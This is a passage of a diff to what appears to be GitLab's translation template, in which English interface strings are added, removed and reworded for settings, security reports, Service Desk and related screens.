+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
